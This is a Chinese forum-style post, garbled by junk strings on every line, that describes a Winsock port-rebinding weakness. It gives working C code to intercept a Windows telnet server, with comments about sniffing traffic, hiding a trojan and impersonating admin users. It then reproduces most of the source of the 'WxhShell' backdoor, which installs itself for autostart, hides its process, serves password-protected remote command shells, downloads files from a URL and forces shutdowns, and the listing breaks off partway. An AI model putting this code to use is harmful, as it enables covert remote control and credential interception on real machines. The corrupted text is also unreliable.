在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
EA6t36|TX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]dq5hkjpU te)n{K", saddr.sin_family = AF_INET;
8`*`nQhWa \2j|=S6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BMdSf(l 6ga5^6W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kffZElV BY$[ g13 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<FQFv
IKg jP+ pA e 这意味着什么?意味着可以进行如下的攻击:
;@9e\!% +>4^mE" \ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
zFywC-my@ , |l@j% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wYjQV?, %&tb9_T)d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IO"hF gJh}CrU- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
./7v",#*.' Sl"BK0:%7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
K^aj@2K{ }"n7~| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qi&D+~Gv! U;pe: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1M+oTIN N 'i,> #include
IM=+3W;ak #include
%l]Rh/VPn? #include
\DS^i`o)rY #include
MxTmWsaW DWORD WINAPI ClientThread(LPVOID lpParam);
)&,K94
int main()
doM?8C#` {
1A^1@^{m' WORD wVersionRequested;
Ig9d#c DWORD ret;
O:e#!C8^ WSADATA wsaData;
[x5mPjgw BOOL val;
?Wa<AFXQ SOCKADDR_IN saddr;
[Tp%"f1 SOCKADDR_IN scaddr;
nv)))I\ int err;
w.uK?A>W, SOCKET s;
!R6ApB4ZI SOCKET sc;
(ii(yz| int caddsize;
,#d[ad< HANDLE mt;
`eC+% O DWORD tid;
;Xu22fKh wVersionRequested = MAKEWORD( 2, 2 );
?}8IQxU err = WSAStartup( wVersionRequested, &wsaData );
# $~ oe" if ( err != 0 ) {
hVM2/j printf("error!WSAStartup failed!\n");
r|fO7PD return -1;
Xpl?g=B&u }
Xm|ib%no saddr.sin_family = AF_INET;
n P1GW6Pu 76bc]o# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y@%`ZPJ iP#=:HZu; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J{tVa(. saddr.sin_port = htons(23);
W#{la`#Bu if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h/K@IAd {
+c) TDH printf("error!socket failed!\n");
#9:2s$O[x return -1;
EnJ!mr }
=EpJZt val = TRUE;
_mk5^u/u //SO_REUSEADDR选项就是可以实现端口重绑定的
#\ #3r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7"cv|6y| {
\|t{e8} printf("error!setsockopt failed!\n");
/2XW return -1;
OH6n^WKY }
.6m_>Y6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f{ ^:3"i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[zh"x#AyI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%w5[*V J +q|$K6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Qqq
<e {
lhO2'#]i ret=GetLastError();
zCV7%,H~ printf("error!bind failed!\n");
Qxt@V return -1;
`!i-#~n }
8r^ ~0nm listen(s,2);
WYszk ,E while(1)
QDE$E.a {
FN?3XNp. caddsize = sizeof(scaddr);
5I' d PNf //接受连接请求
QVtM.oi!Q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"U8S81' if(sc!=INVALID_SOCKET)
^npJUa {
1'O0`Me># mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Im)EDTm$ if(mt==NULL)
zF: j {
Uu'dv#4Iw printf("Thread Creat Failed!\n");
<3Gqv9Y& break;
:=fvZA WD }
iM5vrz`n }
hs(W;tR@W CloseHandle(mt);
; LMWNy4 }
Wi$dZOcSJ closesocket(s);
FjFwvO_. WSACleanup();
.Dw,"VHP return 0;
~xDw*AC- }
c-8!#~M( DWORD WINAPI ClientThread(LPVOID lpParam)
z<&m*0WYA {
Lh ap4: SOCKET ss = (SOCKET)lpParam;
1mH\k5xu SOCKET sc;
SlaDt unsigned char buf[4096];
zOB=aG?/ SOCKADDR_IN saddr;
A'-_TFwW long num;
c\.P/~ DWORD val;
Fn+?u DWORD ret;
v}[dnG //如果是隐藏端口应用的话,可以在此处加一些判断
&leK}je [ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,}J_:\j saddr.sin_family = AF_INET;
50n}my'2h saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z-,VnhLx saddr.sin_port = htons(23);
qSD9P ue if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\ZH&LPAY {
qZ X/@Yxz printf("error!socket failed!\n");
GwLFL.Ke return -1;
xs!p| }
JhX=l-? val = 100;
ln<]-)&C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6rX_-Mm6w {
s>%Pd7: ret = GetLastError();
jd:B \%#![ return -1;
*>."V5{;S }
ax|1b`XUr" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k;Fh4Hv {
ZjVWxQ
ret = GetLastError();
L1#Ij# return -1;
#YK5WTn5 }
b,<9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L?RF;jf {
nE|@IGH printf("error!socket connect failed!\n");
Em^( closesocket(sc);
J4aBPq` closesocket(ss);
q_t4OrLr= return -1;
KQ`=t }
||eAE) while(1)
M+xdHBg {
`G$1n#& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BfmsMW //如果是嗅探内容的话,可以再此处进行内容分析和记录
ig_2={Q@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:i*JnlvZ num = recv(ss,buf,4096,0);
XDz5b., if(num>0)
ry0%a[[ send(sc,buf,num,0);
EKZVF`L else if(num==0)
A6"Hk0Hf break;
]%dnKP~ num = recv(sc,buf,4096,0);
:}q\tNY< if(num>0)
\a|L/9% send(ss,buf,num,0);
1HR~G9 else if(num==0)
,k0r break;
K@:m/Z}|4 }
HY}j!X closesocket(ss);
+R.N%_ closesocket(sc);
p{Sh F. return 0 ;
?mYYt]R }
" I+p ofdZ1F GWP dv ==========================================================
p>*i$ -1r2 K 下边附上一个代码,,WXhSHELL
+K$NAT [QczlwmO ==========================================================
0ejdKdYN 0 P|&Pq&IH #include "stdafx.h"
buMqF-j Q^_/By@ #include <stdio.h>
#exss=as/ #include <string.h>
7Z,/g|s}z #include <windows.h>
9NpD!A&64< #include <winsock2.h>
[=%YV# O #include <winsvc.h>
C>QIrZu #include <urlmon.h>
xN"Z1n7t b=[?b+ #pragma comment (lib, "Ws2_32.lib")
0$vj!-Mb^j #pragma comment (lib, "urlmon.lib")
E~hzh /,34 6oL1_) #define MAX_USER 100 // 最大客户端连接数
Mi7y&~, #define BUF_SOCK 200 // sock buffer
#D%ygh= #define KEY_BUFF 255 // 输入 buffer
*cv}*D u{f*
M,k #define REBOOT 0 // 重启
)Y]/^1hx #define SHUTDOWN 1 // 关机
oFC) Q<"[C
1Lj #define DEF_PORT 5000 // 监听端口
CAc
%f9!3 &tI#T)SSs #define REG_LEN 16 // 注册表键长度
,?-\
x6 #define SVC_LEN 80 // NT服务名长度
0ZI(/r !~iGu\y // 从dll定义API
7C,T&g
1: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
IB5BO7J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;N=G=X|} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n!ok?=(kQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
SZ!=`a] I9y.e++/ // wxhshell配置信息
cma*Dc struct WSCFG {
3I=kr int ws_port; // 监听端口
XhW %,/< char ws_passstr[REG_LEN]; // 口令
Ob<W/-%5tH int ws_autoins; // 安装标记, 1=yes 0=no
W{"XJt_ char ws_regname[REG_LEN]; // 注册表键名
) g1a'G char ws_svcname[REG_LEN]; // 服务名
_}Ps(_5D char ws_svcdisp[SVC_LEN]; // 服务显示名
oQ2KW..q char ws_svcdesc[SVC_LEN]; // 服务描述信息
7"v$- W y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-w6
"? int ws_downexe; // 下载执行标记, 1=yes 0=no
yJ2B3i@T4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4&X*pL2; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dZ(|uC!? 4dh+ };
8<#U9] )NW6?Pu" // default Wxhshell configuration
4sFv?W struct WSCFG wscfg={DEF_PORT,
":W%,`@$ "xuhuanlingzhe",
tiaR4PB 1,
L/r@ S' "Wxhshell",
{padD p "Wxhshell",
`$RA< 3 "WxhShell Service",
P`SnavQBt "Wrsky Windows CmdShell Service",
/!&R9!6
: "Please Input Your Password: ",
]]iPEm"@ 1,
1cJsj "
http://www.wrsky.com/wxhshell.exe",
o|8`>!hF "Wxhshell.exe"
t} p@:' };
V64L,u#`l Zm TDQ`Ix // 消息定义模块
1(dj[3Mt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NeOxpn[ char *msg_ws_prompt="\n\r? for help\n\r#>";
fys char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
MXh
"Y*} char *msg_ws_ext="\n\rExit.";
]Yyia.B char *msg_ws_end="\n\rQuit.";
X]*QUV]i char *msg_ws_boot="\n\rReboot...";
VM=+afY5M char *msg_ws_poff="\n\rShutdown...";
oR#:NtX@ char *msg_ws_down="\n\rSave to ";
o4^Fo p @e2}BhB2 char *msg_ws_err="\n\rErr!";
NYB[Zyp char *msg_ws_ok="\n\rOK!";
12`_;[37 '3(l-nPiG^ char ExeFile[MAX_PATH];
arZ@3]X%a int nUser = 0;
,TC;{ $O5 HANDLE handles[MAX_USER];
$&P?l=UG int OsIsNt;
rP=sG;d f"5g>[1 SERVICE_STATUS serviceStatus;
+Ezgn/bS& SERVICE_STATUS_HANDLE hServiceStatusHandle;
5F $V`kYT =P77"Dd // 函数声明
wzWbB2Mb5 int Install(void);
j) vlM+ int Uninstall(void);
R4's7k int DownloadFile(char *sURL, SOCKET wsh);
4rNL":"O int Boot(int flag);
1&)_(|p[C void HideProc(void);
||B;o- int GetOsVer(void);
@1RP/y% int Wxhshell(SOCKET wsl);
[w\?j, void TalkWithClient(void *cs);
f|7u_f int CmdShell(SOCKET sock);
`iShJz96 int StartFromService(void);
JC;^--0(z int StartWxhshell(LPSTR lpCmdLine);
H: {7X1bV Xh+ia#K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Owv+1+B VOID WINAPI NTServiceHandler( DWORD fdwControl );
YoODR 8cg`7(a // 数据结构和表定义
D^F{uDlb SERVICE_TABLE_ENTRY DispatchTable[] =
0Fr1Ku! {
=([av7 {wscfg.ws_svcname, NTServiceMain},
=H5\$&xj4. {NULL, NULL}
MQ/
A]EeL };
adEJk r4 dOK] 0 // 自我安装
I*[tMzE int Install(void)
V9 }t0$LN {
Z'v-F^ char svExeFile[MAX_PATH];
T6#"8qz< HKEY key;
B7*}c]^6/ strcpy(svExeFile,ExeFile);
Z0,~V tx7~SUr // 如果是win9x系统,修改注册表设为自启动
vq'c@yw; if(!OsIsNt) {
e_3CSx8Cc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xl4=++pu) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QP I+y8N= RegCloseKey(key);
ctmQWrk|B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u62 )QJE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}odV_WT RegCloseKey(key);
|01?w | return 0;
,Fqz e/ }
pb;")Q' }
,5k-.Md>2* }
2YwVU.*> else {
y>VcgLIB do/)~9[4\ // 如果是NT以上系统,安装为系统服务
< a rZbM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&x:JD1T} if (schSCManager!=0)
ztM<J+ {
+*nGp5=^GE SC_HANDLE schService = CreateService
@!tVr3;N$ (
USML~]G
z schSCManager,
v[k5.\No wscfg.ws_svcname,
ph:3|d wscfg.ws_svcdisp,
Mio>{%/ SERVICE_ALL_ACCESS,
[pOg' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
h+7># *DH SERVICE_AUTO_START,
/L=(^k=a.; SERVICE_ERROR_NORMAL,
3HV%4nZLf svExeFile,
F
8yF NULL,
%oykcf,# NULL,
p
QE)p
NULL,
P @%.`8 NULL,
NY NULL
FpV`#6i7 );
j#A%q"]8 if (schService!=0)
US&B!Q:v {
3C>qh{z" CloseServiceHandle(schService);
JHV)ZOO CloseServiceHandle(schSCManager);
>O9sk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&rq{v!=7 strcat(svExeFile,wscfg.ws_svcname);
]L_w$ev' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
pR os{Uq" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{i{xo2<1" RegCloseKey(key);
#~ v4caNx return 0;
VAQ)Hc] }
[.yJV` }
3SG?W_
CloseServiceHandle(schSCManager);
*U7%|wd }
3-Bl }
T8J4C=?/ haSM=;uPM return 1;
Gy29MUF }
!R{R?? [2Mbk~ // 自我卸载
1hQN8!: < int Uninstall(void)
(-yl|NFBw {
[W,|kDK HKEY key;
3 pWM~(#>- H-t|i if(!OsIsNt) {
{Q(}DI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:>3=gex@^0 RegDeleteValue(key,wscfg.ws_regname);
dz9Y}\2tf RegCloseKey(key);
gvavs+H% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cA`4:gp RegDeleteValue(key,wscfg.ws_regname);
o=+Z.-q RegCloseKey(key);
{+T/GBF-K= return 0;
:Hy] }
n~0z_;5 }
lP<I|O=z }
Se^^E.Z,W else {
>wON\N0V_ -e -e9uP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E0f{iO;} if (schSCManager!=0)
?r_kyuU {
fZryG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:J_oj:0r"f if (schService!=0)
Csst[3V {
S\C*iGeqJ if(DeleteService(schService)!=0) {
'?Bg;Z'L % CloseServiceHandle(schService);
)najO*n CloseServiceHandle(schSCManager);
}<m{~32M return 0;
~hX-u8Ul'N }
/I{R23o CloseServiceHandle(schService);
E)p9eU[# }
sa-9$},z4 CloseServiceHandle(schSCManager);
6F0(aGs }
v"6 \=@ }
59 2;W-y rGwIcx(% return 1;
>l1r,/\\ }
S'i;xL> kT oOIx // 从指定url下载文件
b Y8GA int DownloadFile(char *sURL, SOCKET wsh)
I<\
'% {
zQ)+/e(8 HRESULT hr;
70gg4BS char seps[]= "/";
oVO.@M# char *token;
D,;\F,p char *file;
Iin#Wd-/ char myURL[MAX_PATH];
b{[*N char myFILE[MAX_PATH];
4SVW/Zl.? Di(9]:+ strcpy(myURL,sURL);
QJX/7RA token=strtok(myURL,seps);
Cnh|D^{s while(token!=NULL)
,Qc.;4s- {
7XAvd- file=token;
HCnf2td token=strtok(NULL,seps);
F9o6V|v }
|m>}%{ mV\$q@sII GetCurrentDirectory(MAX_PATH,myFILE);
e-6w8*!i strcat(myFILE, "\\");
#6> 6S;Ib strcat(myFILE, file);
FvImX send(wsh,myFILE,strlen(myFILE),0);
W4(?HTWZ send(wsh,"...",3,0);
C8b''9t. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?[1SiJT if(hr==S_OK)
+oy*Kxs7 return 0;
;Rnhe_A. else
QApyP CH return 1;
BSUPS+@+ T_hV%
}
!C&%T] Z5)eREi= // 系统电源模块
]|oJ)5P int Boot(int flag)
.[pUuVq] {
F'W>
8
HANDLE hToken;
" ~Q*XN2 TOKEN_PRIVILEGES tkp;
d0UZ+ RR# knHv?# if(OsIsNt) {
ZXXiL#^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#uvJH8)D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"dCzWFet tkp.PrivilegeCount = 1;
L]bVN)JU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.]t5q%}j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4O$2]D.\ if(flag==REBOOT) {
v|@1( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
A" !n1P return 0;
x mo&![P }
ZwJciT!_~ else {
sBW3{uK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gY5l.& return 0;
o0Gx%99' }
;sQbn|=e" }
@EZ>f5IO+ else {
([pSVOnIz if(flag==REBOOT) {
oXal if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rxE&fjW return 0;
0D3OE.$0 }
tbur$00 else {
{*xBm# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
VTw/_Hf2p return 0;
~
=.CTm]vf }
i Ci>zJ }
rK=6]j(K hPO>,j^ return 1;
>4)g4~'n! }
Rt4di^v KTmaglgp // win9x进程隐藏模块
5'
\)` void HideProc(void)
Y3oMh, {
i?>Hr| MUwVG>b8J~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
AzjMv6N if ( hKernel != NULL )
e- 6(F4 {
[m#NfA:h, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xs1bxJ_R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
kK?zVH-! FreeLibrary(hKernel);
j#igu#MB* }
^ KOzCLC 9q|7<raS return;
FdxsUDL }
[x_s/"Md; rm|7
[mK // 获取操作系统版本
%V_eJC""? int GetOsVer(void)
mw+j|{[ {
h$&rE@N| OSVERSIONINFO winfo;
FAtWsk*pgY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\R Z3Hh GetVersionEx(&winfo);
#"r kuDO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`ue?Z%p| return 1;
Phlk1*1n else
\(u@F<s- return 0;
WOb8"*OM }
# #>a&, ptR // 客户端句柄模块
2PBepgQyPU int Wxhshell(SOCKET wsl)
2f{kBD {
AU`OESSI SOCKET wsh;
7A0dl}: struct sockaddr_in client;
O5MDGg DWORD myID;
B9W/bJ6% ITvHD-,\ while(nUser<MAX_USER)
-tP.S1D {
|[WL2< int nSize=sizeof(client);
Q
X):T#^V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
V.j#E1 P if(wsh==INVALID_SOCKET) return 1;
/Sj_y*x1e ;Jo*|pju handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
qw0~*0} if(handles[nUser]==0)
fLM.kCD?u closesocket(wsh);
cG(0q[ else
|_I[1%&`N nUser++;
|Gc&1*$ }
9:\A7 = WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
DpNX66O O3xz|&xY& return 0;
iiN?\OO^~ }
sL
mW\\kA> bL
MkPty // 关闭 socket
L8Dm9} void CloseIt(SOCKET wsh)
T#N80BH[ {
Nuq(4Yf1W closesocket(wsh);
zKMv7;s? nUser--;
/&6Q) ExitThread(0);
!PI0oh }
pXNtN5@FQ Cz[5Ug'V // 客户端请求句柄
~Jxlj(" 0( void TalkWithClient(void *cs)
d~/xGB`< {
o@',YF>OQ s
kY0 \V SOCKET wsh=(SOCKET)cs;
Xv&%2-V; char pwd[SVC_LEN];
w 3d\0ub char cmd[KEY_BUFF];
j]Ua\|t char chr[1];
'tSnH&c int i,j;
Q'C4pn@ <G}m # while (nUser < MAX_USER) {
7YD\ !2b C=s((q* if(wscfg.ws_passstr) {
i8eA_Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!|(Ao"] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ULck //ZeroMemory(pwd,KEY_BUFF);
R05T5Q1]A i=0;
9JXhHAxD while(i<SVC_LEN) {
`>y[wa>9r 8(uw0~GO // 设置超时
K)N)IZ1q fd_set FdRead;
HFv?s struct timeval TimeOut;
u{pTva FD_ZERO(&FdRead);
YpiRF+G
FD_SET(wsh,&FdRead);
d(\ 1 }l TimeOut.tv_sec=8;
m]e0X*Kg TimeOut.tv_usec=0;
vj(@.uU) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ec#_olG% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c%b\CP\)W du8!3I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k|fh\F+$ pwd
=chr[0]; Q>V?w gZ
if(chr[0]==0xd || chr[0]==0xa) { VAt>ji7c
pwd=0; Qw}xGlF,
break; ko>M&/^
} pj j}K
i++; XWc|[>iO
} 69-$Wn43<
y^, "gD
// 如果是非法用户,关闭 socket dZ-Ny_@&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EO"=\C,
} @_(nd57oSs
{ .cB>L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >*Sv0#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )'w]YIv9
@ljZw(
while(1) { 0:HC;J
<kROH0+
ZeroMemory(cmd,KEY_BUFF); D.
77WjwQ
F6~b#Jz&i
// 自动支持客户端 telnet标准 +$'e4EwqV
j=0; 7Y4%R`9H
while(j<KEY_BUFF) { p-a]"l+L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]}5`7
cmd[j]=chr[0]; Q-:Ah:/
if(chr[0]==0xa || chr[0]==0xd) { *P&OxVz
cmd[j]=0; +V6j`
break; rknzo]N,
} MG;4M>H
j++; J&(
} p$B)^S%0i
7jhl0
// 下载文件 T3 =)F%
if(strstr(cmd,"http://")) { h)"'YzCt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); FyQOa) 5
if(DownloadFile(cmd,wsh)) ZV0)
."^Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #cR57=M}
else pVdhj^n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kWI]fZ_n
} Qh/lT$g
else { )x y9X0
?exALv'B
switch(cmd[0]) { ><MGZ?-N
"pR $cS
// 帮助 <<i=+ed8eP
case '?': { >qr=l,Hi
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F>p%2II/
break; hU |LFjc
} Mf!owpW
T
// 安装 ,^Ex}Z
case 'i': { ))c*_n
if(Install()) bBd *}"v^"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RJQ/y3
else g8C+1G8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9c#L{in
break; V=:,]fTr
} Z?5,cI[6#
// 卸载 u!sSgx=
case 'r': { \ro~-n+ o
if(Uninstall()) 44z=m MR<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZNFE
else lv*Wnn@k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4KN0i
break; A;K{ &x
} ':5U&
// 显示 wxhshell 所在路径 xKRfl1
case 'p': { ZKVp[A
char svExeFile[MAX_PATH]; [I#Q
strcpy(svExeFile,"\n\r"); b=6ZdN1
strcat(svExeFile,ExeFile); = .fc"R|<K
send(wsh,svExeFile,strlen(svExeFile),0); 8f5%xY$
break; 5;r({J
} A{xSbbDk
// 重启 !.x=r
case 'b': { O%rS;o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :==UDVP
if(Boot(REBOOT)) LX&=uv%-^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !H2C9l:rd
else { '5&B~ 1&
closesocket(wsh); &Z#Vw.7U
ExitThread(0); 8Xt=eL/P
} 5<0Yh#_
break; ]IN-
} oXu~9'm$
// 关机 p?EEox
case 'd': { y}.y,\S0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2d,wrC<'$
if(Boot(SHUTDOWN)) mE)x7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M$DwQ}Z
else { $6qR/#74
closesocket(wsh); -Hl\j(D7
ExitThread(0); pZNlcB[Qn-
} P7M0Ce~iW
break; ^v()iF
!
} &@Ji+
// 获取shell 'eTpcrS3
case 's': { dA3`b*nC
CmdShell(wsh); 4c493QOd
closesocket(wsh); r-Xjy*T
ExitThread(0); R$~JhcX*l'
break; ZVCv(J
} ?Vb=4B{~
// 退出 y"{UNM|R
case 'x': { ~XN]?5GQf
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GcU(:V2o
CloseIt(wsh); -0[>}!l=G
break; n~L'icD[
} x %!OP\
// 离开 &QHA_+88W
case 'q': { U/~Zk@3j
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [m@e^6F0U
closesocket(wsh); 6M2i?c
WSACleanup(); Xl gz.j7XR
exit(1); .-gm"lB
break; WoN]eO
} B%?|br
} (rCPr,@0
} l% 3Q=c
G!f E'B
// 提示信息 s`dkEaS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zjhR9
} 8I|1Pl
} *8(t y%5F0
a-o
hS=W
return; P7^TRrMF
} iz$v8;w
~=aI2(b
// shell模块句柄 6 I>xd
int CmdShell(SOCKET sock) G=0}IPfp
{ nY.Umj
STARTUPINFO si; YV>VA<c
ZeroMemory(&si,sizeof(si)); ce-m)o/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !3gpiQH{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iKCTYXN1(
PROCESS_INFORMATION ProcessInfo; .,(uoK{
char cmdline[]="cmd"; S
-mz xj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +RKE|*y
return 0; o
Q!g!xz
} uc{Qhw!;:
R&d_WB4w
// 自身启动模式 }@t'rK[
int StartFromService(void) N
NXwT0t
{ pu
m9x)y1
typedef struct s`{#[&[
{ {mq$W
DWORD ExitStatus; )l81R
DWORD PebBaseAddress; 2+hfbFu,1
DWORD AffinityMask; J0Rz.=Y
DWORD BasePriority; ;#Bh_f
ULONG UniqueProcessId; 4w/t$lR
ULONG InheritedFromUniqueProcessId; LxYM"_1A;
} PROCESS_BASIC_INFORMATION; 2&G1Q'!
0Ci"tA3"
